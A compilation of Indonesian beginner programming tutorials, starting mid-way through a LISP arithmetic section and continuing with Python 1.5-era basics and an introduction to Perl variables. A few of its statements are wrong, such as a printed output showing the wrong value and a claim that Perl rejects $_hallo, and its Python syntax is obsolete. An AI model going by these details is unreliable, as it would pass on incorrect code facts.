    Selanjutnya kita akan memberikan nilai ke diskriminannya d, yaitu b2-4ac.
    > (setq d (- (* b b) (* 4 a c)) )
    ] 4
    Karena d positif, pasti kita akan mendapat dua penyelesaian riil.
    > (/ (+ (- b) (sqrt d)) (* 2 a) ) ( (- b) sama dengan (- 0 b) )
    ] 3
    > (/ (- (- b) (sqrt d)) (* 2 a) )
    ] -1/2

    Permasalahan
    Tetapi perlu kita ketahui juga bahwa tipe data angka terdapat beberapa macam. Pada tipe data float atau bentuk desimal dapat terjadi underflow ( jika nilai mutlak pecahannya terlalu kecil) dan juga overflow (jika nilai mutlak pecahannya terlalu besar)
    Contoh :
    >0.000000000000000000000000000000000000000000000000001
    ]*** - floating point underflow

    >999999999999999999999999999999999999999999999999999.0
    ]*** - floating point overflow

    Solusi
    Untuk mengatasi saat terjadi error seperti underflow ataupun overflow adalah dengan mengetikkan “quit” (tanpa tanda petik) saaat berada di mode debug. Hal ini dimaksudkan mengabaikan inputan terakhir yang bermasalah.
    Contoh :
    >999999999999999999999999999999999999999999999999999.0
    ]*** - floating point overflow
    Break 1> quit
    >(kita dapat melanjutkan penulisan program dengan mengabaikan inputan terkhir yang bermasalah)

    "Nah itu merupakan sedikin info bagaimana menggunakan LISP......Semoga Bermanaat!!!!!!!!!!!"

    Dasar-Dasar Python

    Bagian: 1—Dasar-Dasar Python
    Tingkat: Dasar
    Tujuan: Memperkenalkan Python dan sintaks dasarnya.
    Abstrak: Cara menjalankan skrip Python, variabel dan operator, perintah kendali seleksi dan perulangan.
    Prasyarat: Tidak ada.
    Adalah kebiasaan yang baik jika sebelum membaca suatu tulisan kita mengetahui terlebih dahulu apa yang akan kita dapatkan dari tulisan tersebut. Pengantar ini akan memberikan petunjuk kira-kira apa yang akan Anda dapatkan setelah Anda selesai membaca sampai di akhir tulisan.
    Tulisan ini dimaksudkan untuk memberikan pengetahuan awal pemrograman dengan bahasa Python. Di sini tidak akan dibahas secara ditel kemampuan-kemampuan yang dipunyai Python. Karena biasanya pembahasan ditel akan membawa kita pada uraian yang panjang lebar dan tidak langsung pada inti permasalahan. Silakan merujuk pada dokumentasi-dokumentasi tentang Python, yang bisa didapatkan dari situs resmi Python di www.python.org jika ingin mendapatkan dokumentasi lengkap. Beberapa tulisan yang membahas perbandingan Python dengan bahasa pemrograman yang lain juga banyak bertebaran di Internet, silakan mulai dari Google atau Yahoo!
    Penjelasan yang mengikuti pendahuluan ini akan memberi pengetahuan pada pembaca bagaimana membuat program —yang terkadang disebut dengan skrip—dalam bahasa pemrograman Python. Pembaca akan mampu membuat program dalam bahasa Python yang sederhana setelah membaca tulisan ini secara lengkap. Mampu di sini berarti mengetahui dan bisa menggunakan sintaks-sintaks dasar yang dipakai dalam Python.
    Tutorial ini dibuat sederhana dengan sebisa mungkin menghindari istilah-istilah yang sulit kecuali kalau memang tidak bisa dihindari lagi. Ini karena penulis mengharapkan pembaca yang tidak mempunyai latar belakang pemrograman pun bisa mengikuti tulisan ini.
    Asumsi yang diambil oleh penulis adalah interpreter Python sudah terinstal dengan benar pada komputer Anda.

    Memulai Python

    Menggunakan Mode Interaktif

    Anda dapat bekerja dengan Python secara interaktif dengan interpreter Python. Dalam mode interaktif kita dapat bekerja seperti saat kita bekerja dalam prompt sistem operasi. Interpreter Python bisa Anda aktifkan dengan memberi perintah pada prompt sistem operasi:
    $ python 
    Interpreter Python akan menampilkan
    Python 1.5.2 (#1, Feb 1 2000, 16:32:16) [GCC egcs-2.91.66 19990314
    +/Linux (egcs-on linux-i386
    Copyright 1991-1995 Stichting Mathematisch Centrum, Amsterdam
    >>>
    Tiga tanda lebih besar (>>>) adalah prompt utama Python. Untuk perintah yang masih berlanjut Python akan memberikan respon dengan tanda tiga titik (...).
    >>> if 1:
    ...
    Untuk keluar dari prompt Python menuju prompt sistem operasi Anda bisa menekan tombol yang menghasilkan karakter akhir file, Ctrl-Z (di DOS/Windows) atau Ctrl-D (di Unix).
    Mode interaktif sangat bermanfaat untuk mencoba perintah-perintah Python sebelum membuat skrip. Dalam tulisan ini kita akan lebih banyak bekerja menggunakan skrip.

    Menggunakan Skrip

    Kalau Anda memakai mode interaktif saat membuat program, Anda tidak bisa menyimpannya ke dalam media penyimpanan. Untuk mengatasi ini Anda bisa membuat skrip dengan editor teks yang menghasilkan teks murni, misalnya Notepad atau vi. Aktifkan editor teks Anda dan ketikkan baris-baris perintah ini:
    #! /usr/bin/python
    print "Belajar Python..."
    # akhir file
    Beri nama skrip ini belajar.py. Skrip ini hanya akan mencetak string Belajar Python... ke layar. Untuk menjalankan skrip ini kita hanya perlu mengetikkan:
    $ python belajar.py
    pada prompt sistem operasi.
    Baris pertama adalah khas untuk lingkungan Unix/Linux, yaitu diberikan jika skrip ini ingin dijalankan tanpa mengetikkan interpreter yang akan menerjemahkan skrip yang bersangkutan, tentu saja setelah mengubah hak akses dari skrip tersebut menjadi executable. Baris ini tidak akan berpengaruh di sistem operasi Windows. Di contoh-contoh skrip selanjutnya baris pertama akan dihapuskan untuk menghemat tempat.
    Baris kedua berfungsi untuk mencetak string yang diapit tanda petik.
    Baris ketiga adalah keterangan, atau komentar, yang tidak akan mempengaruhi jalannya program. Keterangan selalu diawali dengan tanda #. Jika interpreter menemukan tanda ini maka mulai tanda ini sampai akhir baris akan dianggap sebagai keterangan.

    Variabel dan Operator

    Membuat variabel dalam Python sangat sederhana. Anda hanya perlu mengisikan nilai pada sebuah variabel dengan tipe data yang Anda inginkan. Operator pengisian adalah tanda sama-dengan (=).
    Variabel dalam Python sangat dinamis. Artinya:
    • variabel tidak perlu dideklarasikan mempunyai jenis data tertentu;
    • jenis data variabel dapat berubah saat program berjalan.

    Bilangan

    Python mengenal beberapa jenis bilangan yaitu bilangan bulat (integer), bilangan pecahan (floating point), dan bilangan kompleks. Bilangan kompleks bisa dituliskan dengan format (real+imajinerj) atau menggunakan fungsi complex(real, imajiner). Untuk jenis data bilangan yang lain tanpa dijelaskan sudah bisa dimengerti dari contoh berikut:
    variabel_integer = 10
    variabel_floating = 24.5
    variabel_kompleks = 3+4j
    
    print variabel_integer
    print variabel_floating
    print variabel_kompleks
    Operator matematik berfungsi dengan normal di Python seperti dalam bahasa pemrograman yang lain. Ada beberapa catatan yang harus diperhatikan.
    • Operasi pengisian beberapa variabel dengan nilai yang sama dapat dilakukan sekali jalan.
    • Tanda () dipakai untuk mengelompokkan operasi yang harus dilakukan terlebih dahulu.
    • Pembagian bilangan integer dengan bilangan integer akan dibulatkan ke bawah.
    • Bilangan integer akan dikonversikan menjadi bilangan floating point dalam operasi yang melibatkan bilangan integer dan bilangan floating point.
    • Kita tidak dapat mengkonversikan bilangan kompleks ke bilangan real (floating point atau integer); hanya bilangan mutlaknya yang bisa kita dapatkan.
    Contoh-contoh berikut akan memberikan gambaran pernyataan di atas.
    a = b = c = d = 0
    print 'a=>',a,'b=>',b,'c=>',c,'d=>',d
    
    x = 30 - 10 / 2
    print 'x=>',x
    
    y = (30 - 10) / 2
    print 'y=>',y
    
    print '10 / 3 =',10 / 3
    print '10 / 3.5 =',10 / 3.5
    print '8 * 12.4 =',8 * 12.4
    print 'abs(1+9j) =',abs(1+9j)

    String

    String dapat ditulis dengan tiga cara:
    1. diapit tanda petik tunggal;
    2. diapit tanda petik ganda;
    3. diapit tiga tanda petik tunggal atau tiga tanda petik ganda.
    Cara yang dipakai harus disesuaikan dengan kebutuhan. Perhatikan contoh berikut:
    print 'dibatasi tanda petik tunggal'
    print "dibatasi tanda petik ganda"
    print
    print '"petik ganda" dalam petik tunggal'
    print "'petik tunggal' dalam petik ganda"
    print
    print '\'petik tunggal\' dalam petik tunggal harus menggunakan karakter
    +escape'
    print "begitu juga \"petik ganda\" dalam petik ganda"
    Dari contoh ini bisa dilihat bahwa kita tidak dapat mencetak tanda petik tunggal dalam string yang diapit dengan tanda petik tunggal juga. Begitu pula untuk tanda petik ganda. Tetapi kita dapat memakai apa yang disebut dengan karakter escape. Tanda ini memberitahukan pada interpreter bahwa karakter yang mengikutinya tidak diartikan sebagaimana lazimnya. Dalam contoh ini, tanda petik tidak diartikan sebagai batas string jika didahului dengan karakter escape.
    Perhatikan juga contoh berikut:
    print 'Baris kalimat ini akan nampak terlalu panjang jika \
    dituliskan memanjang secara lengkap.'
    print 'karakter escape diperlukan jika ingin mencetak dibaris\n baru'
    print
    print """String terformat dapat dicetak dengan diapit
    "tiga" tanda petik tunggal maupun 'tiga' tanda petik ganda.
             Dengan tanda ini string akan dicetak seperti saat ia ditulis."""
    Sehubungan dengan jenis data string ini terdapat operator khusus untuk string yaitu operator penggabungan (concatenation operator), yaitu +, dan operator perulangan, yaitu *.
    stringA = "String A"
    stringB = "String B"
    print 'stringA+stringB =',stringA+stringB
    print "'-'*20 =",'-'*20
    Sifat lain yang dimiliki oleh string adalah bisa diambil sebagian dari karakter pembentuknya, karena string ini adalah array, atau deretan, karakter. Kita dapat mengambil sebagian karakter dari string ini dengan notasi slice. Namun karakter-karakter yang membentuk string ini tidak dapat diubah.
    stringA = "String A"
    print 'stringA[4] =',stringA[4]
    print 'stringA[2:6] =',stringA[2:6]

    List

    List disebut array dalam bahasa pemrograman yang lain. List adalah jenis data campuran yang bisa memiliki komponen penyusun yang berbeda-beda. Sebuah list dapat dibuat dengan dengan menggunakan tanda kurung siku, [ ]. Anggota list didaftar dalam kurung siku tersebut dan masing-masing dipisahkan oleh tanda koma. Sifat-sifat list bisa didaftar seperti ini:
    • Komponen penyusunnya bisa diganti.
    • Komponen penyusunya dapat dibaca dan dimanipulasi secara langsung.
    • Komponen penyusunnya bisa ditambah.
    • Komponen penyusunnya dapat diambil dengan menunjukkan indeksnya atau dengan notasi slice.
    • Komponen penyusun sebuah list dapat juga berupa list yang lain.
    Untuk lebih jelasnya bisa dicoba skrip berikut:
    x = [1,2, 'tiga', 'empat']
    print x
    
    x[1] = x[1] + 2
    print x
    
    x[1] = 'dua'
    print x
    
    x = x + ['tambahan', 1]
    print x
    
    print 'x[2] =',x[2]
    print 'x[1:4] =',x[1:4]
    
    y = ['Salman', 'AS']
    x[0] = y
    print x

    Dictionary

    Berbeda dengan list yang memakai indeks angka untuk merujuk pada isi variabel, dictionary memakai key untuk merujuk pada isi variabelnya. Sifat kedua jenis data ini hanya berbeda dalam beberapa hal saja.
    Untuk mendeklarasikan sebuah dictionary, Python memakai tanda { }.
    d = {'nama':'Salman AS', 'nilai':3}
    print d
    print d['nama']
    Untuk mengakses anggota suatu dictionary kita memakai lambang [ ] sebagaimana halnya list.
    Dictionary bisa mempunyai anggota sebuah list, atau dictionary lagi.
    d = {'nama':'Salman AS', 'nilai':3}
    print d
    
    nama_detail = {'depan':'Salman','tengah':'Agus','belakang':'Supriadi'}
    print nama_detail
    
    d['nama'] = nama_detail
    print d
    
    print d['nama']['depan']
    
    nilai_detail = [3,4,2]
    d['nilai'] = nilai_detail
    print d

    Tuple, Antara List dan String

    Terdapat satu jenis data yang khas milik Python, yaitu tuple. Jenis data ini dideklarasikan dengan tanda ( ). Anggota-anggota tuple tidak bisa diganti dan dapat berupa bilangan atau string. Tuple dapat juga berisi tuple yang lain, dictionary, maupun list.
    menu_file = ('New', 'Open')
    print menu_file
    
    menu_edit = ('Save', 'Save AS')
    
    menu = (menu_file, menu_edit, 'exit', ['help'])
    print menu
    print menu[3][0]
    
    menu_lain = (menu_file, menu_edit, 'exit', {'faq':'faq.html', 'manual':'man.html'})
    print menu_lain

    Perintah Kendali

    Seleksi

    Satu-satunya perintah seleksi dalam Python adalah if. Format umum perintah ini adalah:
    if kondisi:
        perintah_jika_kondisi_benar
    elif kondisi_lain:
        perintah_jika_kondisi_lain_benar
    else:
        perintah_jika_tak_ada_kondisi_yang_benar
    Kita dapat mencoba seleksi dengan if ini dalam modus interaktif Python. Aktifkan interpreter Python Anda dan ketikkan baris-baris perintah ini pada prompt Python.
    >>> x = 4 
    >>> if x<5: 
    ...     print "%d lebih kecil dari 5" % x 
    ... elif x==5: 
    ...     print "%d sama dengan 5" % x 
    ... else: 
    ...     print "%d lebih besar dari 5" 
    4 lebih kecil dari 5
    Untuk menguji kondisi kita dapat menggunakan operator ==, <, <=, >, >=, dan !=.
    Sesuatu yang baru dan kita bisa perhatikan pada contoh di atas adalah cara penulisan blok-blok program. Dalam Python blok-blok perintah ditandai dengan penulisan kode program yang menjorok ke dalam. Setiap perintah yang mempunyai batas kiri yang sama dianggap sebagai satu blok. Sebisa mungkin Anda harus konsisten menggunakan karakter spasi atau karakter tabulasi untuk membuat indentasi. Jangan mencampur antara spasi dan tabulasi. Kesalahan yang sering terjadi dengan indentasi ini adalah terlihat dalam penampilan editor kita sudah lurus pada batas kiri tapi ada perbedaan dalam jumlah karakter tabulasi atau spasi.
    Dalam perintah pencetakan ini kita menggunakan kode pemformatan %d. Kode ini akan diganti dengan variabel yang mengikuti string, yaitu x. Antara string dan variabel dipisahkan oleh tanda %. Jika ada beberapa variabel yang akan dicetak, seluruh variabel harus dimasukkan ke dalam tanda () dan antara satu variabel dengan yang lain dipisahkan dengan tanda koma (,). Mari kita coba dengan interpreter Python.
    >>> x=4
    >>> y=2
    >>> print "x berisi %d, dan y sama dengan %d" % x,y
    Traceback (innermost last):
    File "<stdin>", line 1, in ?
    TypeError: not enough arguments for format string
    >>> print "x berisi %d, dan y sama dengan %d" % (x,y)x berisi 4, dan y sama dengan 4
    Sekarang kita terapkan seleksi ini dalam skrip yang akan memeriksa apakah suatu bilangan adalah bilangan bulat atau bukan.
    x = input("Masukkan bilangan bulat:")
    if x%2:
        print "%d adalah bilangan ganjil" % x
    else:
        print "%d adalah bilangan genap" % x
    Jika dijalankan, skrip ini akan menampilkan:
    $ python ganjil.py
    Masukkan bilangan bulat:13
    13 adalah bilangan ganjil
    $ python ganjil.py
    Masukkan bilangan bulat:24
    24 adalah bilangan genap
    Kata kunci input() berfungsi untuk meminta input berupa bilangan. Bilangan ini disimpan dalam variabel x. Ekspresi x%2 akan menghasilkan 1 jika x ganjil dan 0 jika x bilangan genap. Oleh Python, 1 akan diartikan sebagai benar dan 0 akan diartikan salah.

    Perulangan

    Perulangan dengan kata kunci while mempunyai format umum sebagai berikut:
    while kondisi:
        perintah_jika_kondisi_benar
    else:
        perintah_lain
    Perintah-perintah antara while dan else akan selalu dijalankan jika kondisi benar. Perintah-perintah di bawah else akan dijalankan jika perulangan selesai dengan normal. Yang dimaksud dengan normal di sini adalah proses perulangan tidak berhenti karena bertemu kata kunci break.
    x = 1
    while x<5:
        print x
        x = x + 1
    else:
        print 'Loop sudah selesai dikerjakan!'
    Jika skrip di atas ditambahkan suatu kondisi yang diikuti perintah break, maka blok perintah di bawah else tidak akan pernah dijalankan. Perhatikan perbedaannya dengan skrip berikut:
    x = 1
    while x<5:
        if x==3:
            break
        print x
        x = x + 1
    else:
        print 'Loop sudah selesai dikerjakan!'
    Perintah break menyebabkan dijalankannya perintah-perintah setelah blok while dan else ini.
    Perintah perulangan selain while adalah for. Format dasar perulangan for adalah:
    for variabel in objek:
        perintah-perintah
    else:
        perintah_jika_tidak_bertemu_break
    Langsung saja ke contoh penggunaan pernyataan for ini.
    for x in range(1,5):
        print x
    else:
        print 'Perulangan selesai'
    Fungsi builtin range() dalam skrip ini menghasilkan bilangan 1 sampai 4. Hasilnya skrip akan mencetak bilangan dari 1 sampai 4 dan string Perulangan selesai.
    Keistimewaan perulangan dengan for di Python adalah dapat memroses array. Seperti contoh di bawah ini:
    y = [10,20,30,40,50,60,70,80,90]
    for x in y:
        if x==50:
            continue
        if x>70:
            break
        print x
    else:
        print 'Perulangan selesai'
    Hasil yang akan didapat jika skrip ini dijalankan:
    10 20 30 40 60 70
    Pernyataan continue akan menyebabkan proses berlanjut ke awal perulangan dan melewatkan perintah-perintah yang ada di antara continue dan akhir blok perulangan.
    Demikian akhir bagian pertama. Untuk mempelajari lebih jauh lagi tunggu bagian tutorial berikutnya.

    Belajar Dasar Perl

    Perl adalah bahasa pemrograman untuk mesin dengan sistem operasi Unix (SunOS, Linux, BSD, HP-UX), juga tersedia untuk sistem operasi seperti DOS, Windows, PowerPC, BeOS, VMS, EBCDIC, dan PocketPC.

    Permulaan belajar bahasa pemrograman perl sama seperti belajar bahasa pemrograman lainnya seperti php, linux dan masih banyak lagi. Pertama-tama kita akan mencoba membuat program helloworld terlebih dahulu, seperti berikut :

    #!/usr/bin/perl
    # contoh program helloworld
    # ini adalah baris komentar
    # nama program : helloworld.pl
    print "helloworld !!!";
    print "selamat datang di perl";

    Bagaimana sangat simple bukan? Baris pertama adalah letak interpreter perl. Contoh diatas (#!usr/bin/perl) merupakan letak interpreter perl di unix/linux, jika anda menggunakan ms windows maka ubah sesuai path directory tempat anda menginstall perl. Pada kenya taannya anda bisa saja tidak menuliskan bari s tsb dan program tetap berjalan, namun ketika anda membuat script CGI maka bari s tersebut wajib dituliskan. Kemudian bari s kedua dari program diatas adalah bari s komentar, ya! komentar di perl ditandai dengan #, coba bedakan dengan baris pertama yang mana tanda # diikuti tanda !. Bari s yang dieksekusi oleh perl adalah bari s ke 4 dan 5, yaitu perintah print untuk menampilkan tulisan helloworld dan selamat datang di perl.

    Variabel di dalam perl
    Variabel di dalam perl ditandai dengan tanda $ , misalnya : $nama , $bilangan , dst. Seperti halnya pada bahasa pemrograman lain variabel di perl bersifat case-sensitive.
    contoh penulisan variabel yang benar :

    $Nama;
    $X;
    $nama_saya;
    $test1234;
    $Hallo_123;

    contoh penulisan variabel yang salah :
    $ ---> Paling tidak harus diikuti sebuah huruf
    $23saya --> harus diawali sebuah huruf bukan angka
    $_hallo --> harus diawali sebuah huruf bukan garis bawah
    $bulan-3 --> tidak boleh mengandung tanda minus



    Tipe data skalar
    Sedangkan untuk tipe data di perl terdapat dua jenis yaitu string dan numeric (kedua tipe ini dinamakan tipe skalar), hal ini mempermudah programmer perl karena kita tidak perlu lagi pusing memilih tipe data yang ingin digunakan di dalam program. Selain itu ketika membuat variabel kita tidak perlu menuliskan tipe data yang kita pakai, lalu bagaimana membedakan tipe string dan numeric? Untuk lebih jelas perhatikan contoh berikut :

    #!/usr/bin/perl
    # contoh variabel scalar di perl
    # nama program : variabel.pl
    # ini adalah contoh variabel yang bertipe string :

    $nama = "Prorebell";
    $welcome_to = "\n perl emang keren \n";
    $hello123 = ‘selamat datang di perl';

    # sedangkan ini adalah contoh variabel bertipe numeric :

    $hitung = 500;
    $nomor_mahasiswa = 123040015;
    $jumlah = 12;
    $Hari_ke = 7;

    print "$nama";
    print "$Hari";
    print "$welcome_to";
    print "$hello123";
    print "$hitung";
    print "$nomor_mahasiswa";
    print "$jumlah";
    print "$Hari_ke";

    Dari contoh diatas dapat disimpulkan bahwa variabel string ditandai dengan tanda petik tunggal(‘ ') dan petik dua/ganda (" ") , sedangkan untuk numeric langsung diisikan bilangan ke variabel tersebut tanpa tanda petik.

    Apa bedanya petik tunggal dengan petik ganda ?
    Bedanya petik tunggal tidak menghiraukan karakter karakter khusus seperti \n (newline), sedangkan petik ganda dapat membaca karakter khusus tersebut untuk lebih jelasnya kita coba saja dalam program.

    #!/usr/bin/perl
    # contoh program
    # membedakan petik tunggal dan petik ganda
    # nama program : tanda_petik.pl

    $a = "\nprogrammer\n"; # petik ganda
    $b = '\nprogrammer\n'; # petik tunggal

    print "saya adalah $a";
    print "\n"; # spasi
    print 'saya adalah $b';
    print "\n";

    dengan kata lain petik tunggal akan menulis apa adanya , sedangkan petik ganda akan membaca karakter khusus.